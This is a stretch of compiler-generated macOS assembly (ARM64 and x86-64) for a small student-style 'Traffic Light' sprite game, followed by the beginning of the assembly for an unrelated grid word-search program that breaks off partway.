LBB0_93: ; in Loop: Header=BB0_1 Depth=1
b LBB0_1
.cfi_endproc
; -- End function
.globl _TextPrint ; -- Begin function TextPrint
.p2align 2
_TextPrint: ; @TextPrint
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
str x1, [sp, #16]
ldur w8, [x29, #-4]
lsl w8, w8, #6
str w8, [sp, #12]
str wzr, [sp, #8]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldrsw x8, [sp, #8]
str x8, [sp] ; 8-byte Folded Spill
ldr x0, [sp, #16]
bl _strlen
ldr x8, [sp] ; 8-byte Folded Reload
subs x8, x8, x0
cset w8, hs
tbnz w8, #0, LBB1_4
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #8]
ldr w9, [sp, #12]
add w1, w8, w9
ldr x8, [sp, #16]
ldrsw x9, [sp, #8]
ldrsb w2, [x8, x9]
mov w0, #7
bl _Text_Convert
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB1_1
LBB1_4:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _random_number ; -- Begin function random_number
.p2align 2
_random_number: ; @random_number
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
stur w1, [x29, #-8]
stur wzr, [x29, #-12]
str wzr, [sp, #16]
str wzr, [sp, #12]
ldur w8, [x29, #-4]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
ldur w8, [x29, #-4]
str w8, [sp, #16]
ldur w8, [x29, #-8]
add w8, w8, #1
str w8, [sp, #12]
b LBB2_3
LBB2_2:
ldur w8, [x29, #-8]
add w8, w8, #1
str w8, [sp, #16]
ldur w8, [x29, #-4]
str w8, [sp, #12]
b LBB2_3
LBB2_3:
bl _rand
ldr w8, [sp, #12]
ldr w9, [sp, #16]
subs w9, w8, w9
sdiv w8, w0, w9
mul w8, w8, w9
subs w8, w0, w8
ldr w9, [sp, #16]
add w8, w8, w9
stur w8, [x29, #-12]
ldur w0, [x29, #-12]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "HOME PAGE !!!"
l_.str.1: ; @.str.1
.asciz "This is a Traffic Light game!"
l_.str.2: ; @.str.2
.asciz " "
l_.str.3: ; @.str.3
.asciz "***READ BEFORE START***"
l_.str.4: ; @.str.4
.asciz "A. Rules"
l_.str.5: ; @.str.5
.asciz "1. Eatting the ramdonly appear small golden small sprite."
l_.str.6: ; @.str.6
.asciz "2. Each small golden small sprite get 1 score."
l_.str.7: ; @.str.7
.asciz "3. The color of signal at bottom right would change."
l_.str.8: ; @.str.8
.asciz " From green, coral, to red while the score is increasing."
l_.str.9: ; @.str.9
.asciz "4. You will win the game while you get three points,"
l_.str.10: ; @.str.10
.asciz " which is the signal turns to red."
l_.str.11: ; @.str.11
.asciz "5. After winning the game, you'll be transferred to HOME page."
l_.str.12: ; @.str.12
.asciz "B. Controls"
l_.str.13: ; @.str.13
.asciz "1. btn WADX is for controlling the large spirite."
l_.str.14: ; @.str.14
.asciz "2. btn CMD is for switching between HOME and GAME page."
l_.str.15: ; @.str.15
.asciz "3. btn K is for resetting the score."
l_.str.16: ; @.str.16
.asciz "4. btn U is for switching between keeping and stopping"
l_.str.17: ; @.str.17
.asciz " changing the color of large sprite."
l_.str.18: ; @.str.18
.asciz "5. btn I is for switching betwen having BackGround or not."
l_.str.19: ; @.str.19
.asciz "***"
l_.str.20: ; @.str.20
.asciz "Congradulations!!!!!!"
l_.str.21: ; @.str.21
.asciz " ***"
l_.str.22: ; @.str.22
.asciz " "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $96, %rsp
movl $0, -4(%rbp)
movl $12, -8(%rbp)
movl $0, -12(%rbp)
movl $0, -16(%rbp)
movl $0, -20(%rbp)
movl $0, -24(%rbp)
movl $0, -28(%rbp)
movl $0, -32(%rbp)
movl $0, -36(%rbp)
movl $0, -48(%rbp)
movl $0, -52(%rbp)
xorl %edi, %edi
leaq L_.str(%rip), %rsi
callq _TextPrint
movl $1, %edi
leaq L_.str.1(%rip), %rsi
callq _TextPrint
movl $2, %edi
leaq L_.str.2(%rip), %rsi
callq _TextPrint
movl $3, %edi
leaq L_.str.3(%rip), %rsi
callq _TextPrint
movl $5, %edi
leaq L_.str.4(%rip), %rsi
callq _TextPrint
movl $6, %edi
leaq L_.str.5(%rip), %rsi
callq _TextPrint
movl $7, %edi
leaq L_.str.6(%rip), %rsi
callq _TextPrint
movl $8, %edi
leaq L_.str.7(%rip), %rsi
callq _TextPrint
movl $9, %edi
leaq L_.str.8(%rip), %rsi
callq _TextPrint
movl $10, %edi
leaq L_.str.9(%rip), %rsi
callq _TextPrint
movl $11, %edi
leaq L_.str.10(%rip), %rsi
callq _TextPrint
movl $12, %edi
leaq L_.str.11(%rip), %rsi
callq _TextPrint
movl $14, %edi
leaq L_.str.12(%rip), %rsi
callq _TextPrint
movl $15, %edi
leaq L_.str.13(%rip), %rsi
callq _TextPrint
movl $16, %edi
leaq L_.str.14(%rip), %rsi
callq _TextPrint
movl $17, %edi
leaq L_.str.15(%rip), %rsi
callq _TextPrint
movl $18, %edi
leaq L_.str.16(%rip), %rsi
callq _TextPrint
movl $19, %edi
leaq L_.str.17(%rip), %rsi
callq _TextPrint
movl $20, %edi
leaq L_.str.18(%rip), %rsi
callq _TextPrint
movl $4, %edi
movl $50, %esi
callq _TimerInterval
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl $1, %edi
callq _Timer
movl %eax, -44(%rbp)
movl -12(%rbp), %ecx
movl -16(%rbp), %r8d
movl $3, %edi
movl $2, %esi
movl $32, %edx
xorl %r9d, %r9d
movl $50, (%rsp)
movl $50, 8(%rsp)
movl $0, 16(%rsp)
movq $8900346, 24(%rsp) ## imm = 0x87CEFA
callq _VideoCtrLS
movl -28(%rbp), %eax
movl $10, %ecx
xorl %edx, %edx
divl %ecx
cmpl $5, %edx
jae LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $9, %edi
xorl %esi, %esi
callq _Color_Random
jmp LBB0_6
LBB0_3: ## in Loop: Header=BB0_1 Depth=1
movl -28(%rbp), %eax
movl $10, %ecx
xorl %edx, %edx
divl %ecx
cmpl $5, %edx
jb LBB0_5
## %bb.4: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %ecx
movl -16(%rbp), %r8d
movl $3, %edi
movl $2, %esi
movl $32, %edx
xorl %r9d, %r9d
movl $50, (%rsp)
movl $50, 8(%rsp)
movl $0, 16(%rsp)
movq $8900346, 24(%rsp) ## imm = 0x87CEFA
callq _VideoCtrLS
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_6
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
movl -32(%rbp), %eax
movl $10, %ecx
xorl %edx, %edx
divl %ecx
cmpl $5, %edx
jae LBB0_8
## %bb.7: ## in Loop: Header=BB0_1 Depth=1
movl $3, %edi
movl $1, %esi
movl $32, %edx
xorl %r9d, %r9d
movl %r9d, %ecx
movl %r9d, %r8d
movl $0, (%rsp)
movl $0, 8(%rsp)
movl $0, 16(%rsp)
movq $8087790, 24(%rsp) ## imm = 0x7B68EE
callq _VideoCtrBG
jmp LBB0_11
LBB0_8: ## in Loop: Header=BB0_1 Depth=1
movl -32(%rbp), %eax
movl $10, %ecx
xorl %edx, %edx
divl %ecx
cmpl $5, %edx
jb LBB0_10
## %bb.9: ## in Loop: Header=BB0_1 Depth=1
movl $3, %edi
movl $1, %esi
movl $32, %edx
xorl %r9d, %r9d
xorl %eax, %eax
## kill: def $rax killed $eax
movl %r9d, %ecx
movl %r9d, %r8d
movl $0, (%rsp)
movl $0, 8(%rsp)
movl $0, 16(%rsp)
movq $0, 24(%rsp)
callq _VideoCtrBG
LBB0_10: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_11
LBB0_11: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
cmpl -20(%rbp), %eax
jg LBB0_15
## %bb.12: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
movl -12(%rbp), %ecx
addl $50, %ecx
cmpl %ecx, %eax
jge LBB0_15
## %bb.13: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
cmpl -24(%rbp), %eax
jg LBB0_15
## %bb.14: ## in Loop: Header=BB0_1 Depth=1
movl -24(%rbp), %eax
movl -16(%rbp), %ecx
addl $50, %ecx
cmpl %ecx, %eax
jl LBB0_19
LBB0_15: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
movl -20(%rbp), %ecx
addl $15, %ecx
cmpl %ecx, %eax
jg LBB0_22
## %bb.16: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
movl -12(%rbp), %ecx
addl $50, %ecx
cmpl %ecx, %eax
jge LBB0_22
## %bb.17: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
movl -24(%rbp), %ecx
addl $15, %ecx
cmpl %ecx, %eax
jg LBB0_22
## %bb.18: ## in Loop: Header=BB0_1 Depth=1
movl -24(%rbp), %eax
movl -16(%rbp), %ecx
addl $50, %ecx
cmpl %ecx, %eax
jge LBB0_22
LBB0_19: ## in Loop: Header=BB0_1 Depth=1
movl $10, %edi
callq _CleanDot
movl $1, %edi
movl $460, %esi ## imm = 0x1CC
callq _random_number
movl %eax, -20(%rbp)
movl $1, %edi
movl $235, %esi
callq _random_number
movl %eax, -24(%rbp)
cmpl $5, -52(%rbp)
jae LBB0_21
## %bb.20: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %ecx
movl -24(%rbp), %r8d
movl $3, %esi
movl $32, %edx
xorl %r9d, %r9d
movl %esi, %edi
movl $15, (%rsp)
movl $15, 8(%rsp)
movl $1, 16(%rsp)
movq $16766720, 24(%rsp) ## imm = 0xFFD700
callq _VideoCtrSS
movl -52(%rbp), %eax
addl $1, %eax
movl %eax, -52(%rbp)
LBB0_21: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_22
LBB0_22: ## in Loop: Header=BB0_1 Depth=1
cmpl $0, -52(%rbp)
jne LBB0_24
## %bb.23: ## in Loop: Header=BB0_1 Depth=1
movl $3, %esi
movl $32, %edx
movl $320, %ecx ## imm = 0x140
movl $170, %r8d
xorl %r9d, %r9d
xorl %eax, %eax
## kill: def $rax killed $eax
movl %esi, %edi
movl $10, (%rsp)
movl $10, 8(%rsp)
movl $2, 16(%rsp)
movq $0, 24(%rsp)
callq _VideoCtrSS
jmp LBB0_36
LBB0_24: ## in Loop: Header=BB0_1 Depth=1
cmpl $1, -52(%rbp)
jne LBB0_26
## %bb.25: ## in Loop: Header=BB0_1 Depth=1
movl $3, %esi
movl $32, %edx
movl $320, %ecx ## imm = 0x140
movl $170, %r8d
xorl %r9d, %r9d
movl %esi, %edi
movl $10, (%rsp)
movl $10, 8(%rsp)
movl $2, 16(%rsp)
movq $65280, 24(%rsp) ## imm = 0xFF00
callq _VideoCtrSS
jmp LBB0_35
LBB0_26: ## in Loop: Header=BB0_1 Depth=1
cmpl $2, -52(%rbp)
jne LBB0_28
## %bb.27: ## in Loop: Header=BB0_1 Depth=1
movl $3, %esi
movl $32, %edx
movl $320, %ecx ## imm = 0x140
movl $170, %r8d
xorl %r9d, %r9d
movl %esi, %edi
movl $10, (%rsp)
movl $10, 8(%rsp)
movl $2, 16(%rsp)
movq $16744272, 24(%rsp) ## imm = 0xFF7F50
callq _VideoCtrSS
jmp LBB0_34
LBB0_28: ## in Loop: Header=BB0_1 Depth=1
cmpl $3, -52(%rbp)
jne LBB0_30
## %bb.29: ## in Loop: Header=BB0_1 Depth=1
movl $3, %esi
movl $32, %edx
movl $320, %ecx ## imm = 0x140
movl $170, %r8d
xorl %r9d, %r9d
movl %esi, %edi
movl $10, (%rsp)
movl $10, 8(%rsp)
movl $2, 16(%rsp)
movq $16711680, 24(%rsp) ## imm = 0xFF0000
callq _VideoCtrSS
jmp LBB0_33
LBB0_30: ## in Loop: Header=BB0_1 Depth=1
cmpl $5, -52(%rbp)
jne LBB0_32
## %bb.31: ## in Loop: Header=BB0_1 Depth=1
movl $8, %edi
movl $2, %esi
callq _ModeSelect
movl $22, %edi
leaq L_.str.19(%rip), %rsi
callq _TextPrint
movl $23, %edi
leaq L_.str.20(%rip), %rsi
callq _TextPrint
movl $24, %edi
leaq L_.str.21(%rip), %rsi
callq _TextPrint
LBB0_32: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_33
LBB0_33: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_34
LBB0_34: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_35
LBB0_35: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_36
LBB0_36: ## in Loop: Header=BB0_1 Depth=1
movl -44(%rbp), %eax
cmpl -48(%rbp), %eax
je LBB0_93
## %bb.37: ## in Loop: Header=BB0_1 Depth=1
movl $5, %edi
callq _Ctr_Status
movl %eax, -40(%rbp)
cmpl $0, -40(%rbp)
je LBB0_92
## %bb.38: ## in Loop: Header=BB0_1 Depth=1
movl $6, %edi
callq _Mode_Status
movsbl %al, %eax
cmpl $0, %eax
jne LBB0_64
## %bb.39: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $1, %eax
cmpl $0, %eax
je LBB0_43
## %bb.40: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
andl $63, %eax
cmpl $0, %eax
je LBB0_42
## %bb.41: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_42
LBB0_42: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_43
LBB0_43: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $2, %eax
cmpl $0, %eax
je LBB0_47
## %bb.44: ## in Loop: Header=BB0_1 Depth=1
cmpl $64, -8(%rbp)
jl LBB0_46
## %bb.45: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_46
LBB0_46: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_47
LBB0_47: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $4, %eax
cmpl $0, %eax
je LBB0_51
## %bb.48: ## in Loop: Header=BB0_1 Depth=1
cmpl $2240, -8(%rbp) ## imm = 0x8C0
jge LBB0_50
## %bb.49: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_50
LBB0_50: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_51
LBB0_51: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $8, %eax
cmpl $0, %eax
je LBB0_55
## %bb.52: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
andl $63, %eax
cmpl $63, %eax
je LBB0_54
## %bb.53: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_54
LBB0_54: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_55
LBB0_55: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $16, %eax
cmpl $0, %eax
je LBB0_57
## %bb.56: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_57
LBB0_57: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $32, %eax
cmpl $0, %eax
je LBB0_59
## %bb.58: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_59
LBB0_59: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $64, %eax
cmpl $0, %eax
je LBB0_61
## %bb.60: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_61
LBB0_61: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $128, %eax
cmpl $0, %eax
je LBB0_63
## %bb.62: ## in Loop: Header=BB0_1 Depth=1
movl $0, -52(%rbp)
movl $22, %edi
leaq L_.str.22(%rip), %rsi
callq _TextPrint
movl $23, %edi
leaq L_.str.22(%rip), %rsi
callq _TextPrint
movl $24, %edi
leaq L_.str.22(%rip), %rsi
callq _TextPrint
LBB0_63: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_91
LBB0_64: ## in Loop: Header=BB0_1 Depth=1
movl $6, %edi
callq _Mode_Status
movsbl %al, %eax
cmpl $1, %eax
jne LBB0_90
## %bb.65: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $1, %eax
cmpl $0, %eax
je LBB0_69
## %bb.66: ## in Loop: Header=BB0_1 Depth=1
cmpl $12, -12(%rbp)
jle LBB0_68
## %bb.67: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
subl $2, %eax
movl %eax, -12(%rbp)
LBB0_68: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_69
LBB0_69: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $2, %eax
cmpl $0, %eax
je LBB0_73
## %bb.70: ## in Loop: Header=BB0_1 Depth=1
cmpl $12, -16(%rbp)
jle LBB0_72
## %bb.71: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
subl $2, %eax
movl %eax, -16(%rbp)
LBB0_72: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_73
LBB0_73: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $4, %eax
cmpl $0, %eax
je LBB0_77
## %bb.74: ## in Loop: Header=BB0_1 Depth=1
cmpl $240, -16(%rbp)
jge LBB0_76
## %bb.75: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
addl $2, %eax
movl %eax, -16(%rbp)
LBB0_76: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_77
LBB0_77: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $8, %eax
cmpl $0, %eax
je LBB0_81
## %bb.78: ## in Loop: Header=BB0_1 Depth=1
cmpl $480, -12(%rbp) ## imm = 0x1E0
jge LBB0_80
## %bb.79: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
addl $2, %eax
movl %eax, -12(%rbp)
LBB0_80: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_81
LBB0_81: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $16, %eax
cmpl $0, %eax
je LBB0_83
## %bb.82: ## in Loop: Header=BB0_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
LBB0_83: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $32, %eax
cmpl $0, %eax
je LBB0_85
## %bb.84: ## in Loop: Header=BB0_1 Depth=1
movl -32(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
LBB0_85: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $64, %eax
cmpl $0, %eax
je LBB0_87
## %bb.86: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_87
LBB0_87: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
andl $128, %eax
cmpl $0, %eax
je LBB0_89
## %bb.88: ## in Loop: Header=BB0_1 Depth=1
movl $0, -52(%rbp)
LBB0_89: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_90
LBB0_90: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_91
LBB0_91: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_92
LBB0_92: ## in Loop: Header=BB0_1 Depth=1
movl -44(%rbp), %eax
movl %eax, -48(%rbp)
LBB0_93: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_1
.cfi_endproc
## -- End function
.globl _TextPrint ## -- Begin function TextPrint
.p2align 4, 0x90
_TextPrint: ## @TextPrint
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
movl -4(%rbp), %eax
shll $6, %eax
movl %eax, -20(%rbp)
movl $0, -24(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movslq -24(%rbp), %rax
movq %rax, -32(%rbp) ## 8-byte Spill
movq -16(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -32(%rbp), %rax ## 8-byte Reload
cmpq %rcx, %rax
jae LBB1_4
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movl -24(%rbp), %esi
addl -20(%rbp), %esi
movq -16(%rbp), %rax
movslq -24(%rbp), %rcx
movl $7, %edi
movsbl (%rax,%rcx), %edx
callq _Text_Convert
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB1_1
LBB1_4:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _random_number ## -- Begin function random_number
.p2align 4, 0x90
_random_number: ## @random_number
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl $0, -12(%rbp)
movl $0, -16(%rbp)
movl $0, -20(%rbp)
movl -4(%rbp), %eax
cmpl -8(%rbp), %eax
jge LBB2_2
## %bb.1:
movl -4(%rbp), %eax
movl %eax, -16(%rbp)
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB2_3
LBB2_2:
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
movl -4(%rbp), %eax
movl %eax, -20(%rbp)
LBB2_3:
callq _rand
movl -20(%rbp), %ecx
subl -16(%rbp), %ecx
cltd
idivl %ecx
addl -16(%rbp), %edx
movl %edx, -12(%rbp)
movl -12(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "HOME PAGE !!!"
L_.str.1: ## @.str.1
.asciz "This is a Traffic Light game!"
L_.str.2: ## @.str.2
.asciz " "
L_.str.3: ## @.str.3
.asciz "***READ BEFORE START***"
L_.str.4: ## @.str.4
.asciz "A. Rules"
L_.str.5: ## @.str.5
.asciz "1. Eatting the ramdonly appear small golden small sprite."
L_.str.6: ## @.str.6
.asciz "2. Each small golden small sprite get 1 score."
L_.str.7: ## @.str.7
.asciz "3. The color of signal at bottom right would change."
L_.str.8: ## @.str.8
.asciz " From green, coral, to red while the score is increasing."
L_.str.9: ## @.str.9
.asciz "4. You will win the game while you get three points,"
L_.str.10: ## @.str.10
.asciz " which is the signal turns to red."
L_.str.11: ## @.str.11
.asciz "5. After winning the game, you'll be transferred to HOME page."
L_.str.12: ## @.str.12
.asciz "B. Controls"
L_.str.13: ## @.str.13
.asciz "1. btn WADX is for controlling the large spirite."
L_.str.14: ## @.str.14
.asciz "2. btn CMD is for switching between HOME and GAME page."
L_.str.15: ## @.str.15
.asciz "3. btn K is for resetting the score."
L_.str.16: ## @.str.16
.asciz "4. btn U is for switching between keeping and stopping"
L_.str.17: ## @.str.17
.asciz " changing the color of large sprite."
L_.str.18: ## @.str.18
.asciz "5. btn I is for switching betwen having BackGround or not."
L_.str.19: ## @.str.19
.asciz "***"
L_.str.20: ## @.str.20
.asciz "Congradulations!!!!!!"
L_.str.21: ## @.str.21
.asciz " ***"
L_.str.22: ## @.str.22
.asciz " "
.subsections_via_symbols
| the_stack_data/86074735.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _solution ; -- Begin function solution
.p2align 2
_solution: ; @solution
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-8]
stur w1, [x29, #-12]
str x2, [sp, #24]
str w3, [sp, #20]
str w4, [sp, #16]
adrp x8, _len@PAGE
ldr w8, [x8, _len@PAGEOFF]
ldr w9, [sp, #20]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur w8, [x29, #-8]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w8, #1
sturb w8, [x29, #-1]
b LBB0_9
LBB0_2:
ldrsw x9, [sp, #16]
adrp x8, _change_x@PAGE
add x8, x8, _change_x@PAGEOFF
ldr w9, [x8, x9, lsl #2]
ldur w8, [x29, #-8]
add w8, w8, w9
stur w8, [x29, #-8]
ldrsw x9, [sp, #16]
adrp x8, _change_y@PAGE
add x8, x8, _change_y@PAGEOFF
ldr w9, [x8, x9, lsl #2]
ldur w8, [x29, #-12]
add w8, w8, w9
stur w8, [x29, #-12]
ldur w8, [x29, #-8]
subs w8, w8, #0
cset w8, lt
tbnz w8, #0, LBB0_8
b LBB0_3
LBB0_3:
ldur w8, [x29, #-8]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_4
LBB0_4:
ldur w8, [x29, #-12]
subs w8, w8, #0
cset w8, lt
tbnz w8, #0, LBB0_8
b LBB0_5
LBB0_5:
ldur w8, [x29, #-12]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_6
LBB0_6:
ldursw x9, [x29, #-8]
adrp x8, _strs@PAGE
add x8, x8, _strs@PAGEOFF
add x8, x8, x9, lsl #2
ldursw x9, [x29, #-12]
ldrsb w8, [x8, x9]
ldr x9, [sp, #24]
ldrsw x10, [sp, #20]
ldrsb w9, [x9, x10]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7:
ldur w0, [x29, #-8]
ldur w1, [x29, #-12]
ldr x2, [sp, #24]
ldr w8, [sp, #20]
add w3, w8, #1
ldr w4, [sp, #16]
bl _solution
sturb w0, [x29, #-1]
b LBB0_9
LBB0_8:
sturb wzr, [x29, #-1]
b LBB0_9
LBB0_9:
ldursb w0, [x29, #-1]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
ldur w8, [x29, #-8]
subs w8, w8, #2
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fprintf
stur wzr, [x29, #-4]
b LBB1_21
LBB1_2:
ldur x8, [x29, #-16]
ldr x8, [x8, #8]
stur x8, [x29, #-24]
ldur x8, [x29, #-24]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldur x0, [x29, #-24]
bl _strlen
mov x8, x0
adrp x10, _len@PAGE
mov x9, x0
str w9, [x10, _len@PAGEOFF]
subs w8, w8, #16
cset w8, le
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
stur wzr, [x29, #-4]
b LBB1_21
LBB1_4:
str wzr, [sp, #36]
b LBB1_5
LBB1_5: ; =>This Loop Header: Depth=1
; Child Loop BB1_7 Depth 2
; Child Loop BB1_10 Depth 3
ldr w8, [sp, #36]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB1_20
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_5 Depth=1
str wzr, [sp, #32]
b LBB1_7
LBB1_7: ; Parent Loop BB1_5 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB1_10 Depth 3
ldr w8, [sp, #32]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB1_18
b LBB1_8
LBB1_8: ; in Loop: Header=BB1_7 Depth=2
ldrsw x9, [sp, #36]
adrp x8, _strs@PAGE
add x8, x8, _strs@PAGEOFF
add x8, x8, x9, lsl #2
ldrsw x9, [sp, #32]
ldrsb w8, [x8, x9]
ldur x9, [x29, #-24]
ldrsb w9, [x9]
